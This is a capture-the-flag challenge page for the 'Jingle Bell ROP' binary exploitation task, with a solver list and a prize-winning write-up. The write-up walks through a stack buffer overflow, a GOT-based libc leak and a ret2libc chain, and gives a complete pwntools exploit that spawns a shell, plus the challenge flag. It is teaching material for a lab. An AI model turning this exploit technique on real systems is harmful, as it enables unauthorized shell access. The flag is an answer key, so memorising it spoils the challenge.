CyberStudents Wordmark

Jingle Bell ROP

Category

Points

Author

Binary exploitation

105

q

qvipin

Solves (34)

1Profile Picture for minipifminipif12/16 3:07 pm
2Profile Picture for tudortudor12/16 3:27 pm
3Profile Picture for pligonsteinpligonstein12/16 3:43 pm
4Profile Picture for unpwnblunpwnbl12/16 7:00 pm
5Profile Picture for mr_mphmr_mph12/16 10:25 pm
6Profile Picture for godlyavengergodlyavenger12/16 11:45 pm
7Profile Picture for silence_silence_12/17 3:39 am
8Profile Picture for gudaumoi12gudaumoi1212/17 10:58 am
9Profile Picture for nouxianouxia12/17 11:39 am
10Profile Picture for boomanten10boomanten1012/17 12:53 pm
11Profile Picture for elijah5399elijah539912/17 8:40 pm
12Profile Picture for zarnex__zarnex__12/17 10:54 pm
13Profile Picture for theb4tmitetheb4tmite12/18 4:03 am
14Profile Picture for cc.keycc.key12/18 7:10 am
15Profile Picture for _4n3s_4n3s12/18 12:33 pm
16Profile Picture for trixaitrixai12/18 2:05 pm
17Profile Picture for andreicatandreicat12/18 2:15 pm
18Profile Picture for raul_26raul_2612/18 2:23 pm
19Profile Picture for f00varf00var12/18 10:24 pm
20Profile Picture for ots3299ots329912/19 3:29 am
21Profile Picture for test123450604test12345060412/20 3:55 am
22Profile Picture for 9emperor_84114_452599emperor_84114_4525912/21 10:32 am
23Profile Picture for manu7738manu773812/22 11:09 pm
24Profile Picture for ryuun1cornryuun1corn12/23 8:25 am
25Profile Picture for iam_the_tea_guyiam_the_tea_guy12/23 5:30 pm
26Profile Picture for heartstollerheartstoller12/24 9:12 am
27Profile Picture for mtwiss_32447mtwiss_3244712/24 11:52 am
28Profile Picture for _avyra_avyra12/25 4:53 am
29Profile Picture for monstermanyana_47633monstermanyana_4763312/25 3:04 pm
30Profile Picture for booklover997booklover99712/25 11:49 pm
31Profile Picture for mattewastakenmattewastaken12/26 12:07 pm
32Profile Picture for fakeaviationistfakeaviationist12/27 5:11 am
33Profile Picture for leyo7leyo712/28 7:34 am
34Profile Picture for wtfpainnwtfpainn12/29 2:55 pm

Description

Angry Elf Glaki is at it again! He’s been hiding our toy designs deep in his server. We know there’s a single service running and we managed to find the binary it’s running —can you pwn it and recover those locked-up designs?

nc ctf.csd.lol 2020

Attachments

Hint

There are no penalties for viewing hints. Hints are released 12 hours and 24 hours after the challenge releases.

Submit flag

Discuss this challenge with others in #🎄丨advent-of-ctf on our Discord server.

Write-up

elijah5399's write-up was selected as the best write-up submitted for this challenge.

View this write-up on GitHub

First we do a checksec on the binary to check its protections:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Since the binary has no canary we do not need a canary leak to write a ROP chain. Furthermore, since it has no PIE (Position Independent Executable), the program is loaded at a constant offset every time we run it.

The program is rather small, and the Ghidra pseudocode is as follows (I have renamed some variables for simplicity):

undefined8 main(void)
{
  FUN_004010a0(stdin,0,2,0);
  FUN_004010a0(stdout,0,2,0);
  puts("Welcome to Glaki\'s Evil Vault of Secrets!");
  puts("Only fellow evil elves may access the stolen schematics.");
  vuln();
  puts("Access denied! Goodbye!");
  return 0;
}
void vuln(void)
{
  char local_48 [64];

  printf("Glaki says: Enter the secret code to unlock the vault: ");
  fgets(local_48,0x80,stdin);
  printf("You entered: %s",local_48);
  return;
}

The main vulnerability here is that fgetsallows us to enter 0x80 (which is 128 in decimal) bytes into local_48 when it should only contain 64 characters. So we have a 64-byte overflow into the buffer, which is more than enough to write a ROP chain.

However, the exploitation is not so straightforward since there is no win function in the binary. Which means that we have to ret2libc in order to get a shell. We have to write 64 bytes to fill up the local_64 buffer, followed by another 8 bytes to fill saved RBP, then we can inject our ROP chain.

In order for us to do a ret2libc, we first need to figure out where libc is located. This is because the address of libc is randomised with each run of the program. One way to get a libc leak is by viewing resolved GOT (Global Offset Table) entries. These are places in the binary wherein the libc addresses of libc functions are stored. The GOT entries are only resolved once the function has been called. I decided to leak the libc address of the putsfunction. We can find the location of the GOT entry in the binary by debugging it in pwndbg, then using the got command.

For example in the snippet below, the GOT entry is located at address 0x404000in the binary and is resolved to the libc address 0x7ffff7dfee50 (which is our libc leak).

So how do we write the ROP chain to get the libc leak? Well, we can make use of code which the program already provides! Look at the following snippet at the end of the main function:

So if we jump to 0x401264 with RDI set to 0x404000, we can effectively do puts(GOT entry of puts) which would give us our libc leak. So our ROP chain would be something like

p64(POP_RDI) + p64(puts_got) + p64(0x401269) + p64(0)

Note that there is a p64(0) at the end because of the additional pop rbp instruction in main.

But what do we do after that?

In order to exploit the vulnerability after getting our libc leak, we can append to the ROP chain and force it to call the vuln function again. This allows us to have a second chance at exploiting the buffer overflow. In other words our first ROP chain would look something like this:

p64(POP_RDI) + p64(puts_got) + p64(0x401269) + p64(0) + p64(VULN)

However, using this ROP chain would cause our program to crash. The reason is because vuln starts with an endbr64 instruction, which would crash if our rsp value is not 16-bit aligned. As such, we need to add a RET instruction before VULN in our ROP chain

So our finalised first ROP chain would be

p64(POP_RDI) + p64(PUTS_GOT) + p64(0x401269) + p64(0) + p64(RET) + p64(VULN)

After we run this ROP chain, we get the libc address of puts. We can use this to calculate the address of libc since the offset between libc's address and the address of puts in that same libc file is always the same. From one run of the program, my libc was at 0x7f5dd6f88000 while my puts was at 0x7f5dd700fbd0. So I can just calculate the libc address as such:

addr = u64(p.recv(6) + b"\x00\x00") # this is the libc puts leak
libc.address = addr - (0x00007f5dd700fbd0 - 0x7f5dd6f88000)

Once we've gotten the leak and back to the vuln function for the second time, we can finally call system('/bin/sh') using the system function in libc and the '/bin/sh' function in libc. pwntools makes forming such an ROP chain trivial:

rop = ROP(libc)
binsh = next(libc.search("/bin/sh"))
rop.rdi = binsh
rop.rsi = 0
rop.raw(libc.sym['execve'])
# pause()
p.sendlineafter(b"vault: ", 0x48 * b'a' + rop.chain())

In summary, we:

Made a first ROP chain to do puts(puts_got) to get a libc leak and re-enter vuln

Made a second ROP chain to call system('/bin/sh')

My full exploit is given below:

from pwn import *
# fill in binary name
elf = context.binary = ELF("./main")
# fill in libc name
ld = ELF("./ld-2.39.so")
libc = ELF("./libc.so.6")
context.log_level = 'debug'
if args.REMOTE:
  # fill in remote address
  p = remote("ctf.csd.lol", 2020)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
  # p = elf.process()

PUTS_GOT = 0x404000
POP_RDI = 0x0000000000401196
TARGET1 = 0x401264
RET = 0x4011ed
VULN = 0x401198
# pause()
pl1 = 0x48 * b'a' + p64(POP_RDI) + p64(PUTS_GOT) + p64(TARGET1) + p64(0) + p64(RET) + p64(VULN)
p.sendlineafter(b"vault: ", pl1)
p.recvuntil(0x48 * b"a" + b"\x96\x11\x40")
addr = u64(p.recv(6) + b"\x00\x00")
libc.address = addr - (0x00007f5dd700fbd0 - 0x7f5dd6f88000)
log.info(f"libc base: {hex(libc.address)}")
rop = ROP(libc)
binsh = next(libc.search("/bin/sh"))
rop.rdi = binsh
rop.rsi = 0
rop.raw(libc.sym['execve'])
# pause()
p.sendlineafter(b"vault: ", 0x48 * b'a' + rop.chain())
p.interactive()

Flag: csd{J1Ngl3_b3ll_r0CK_15_b357_XM45_50NG}

Need help with a challenge? Is a challenge broken? DM @ModMail in our Discord server.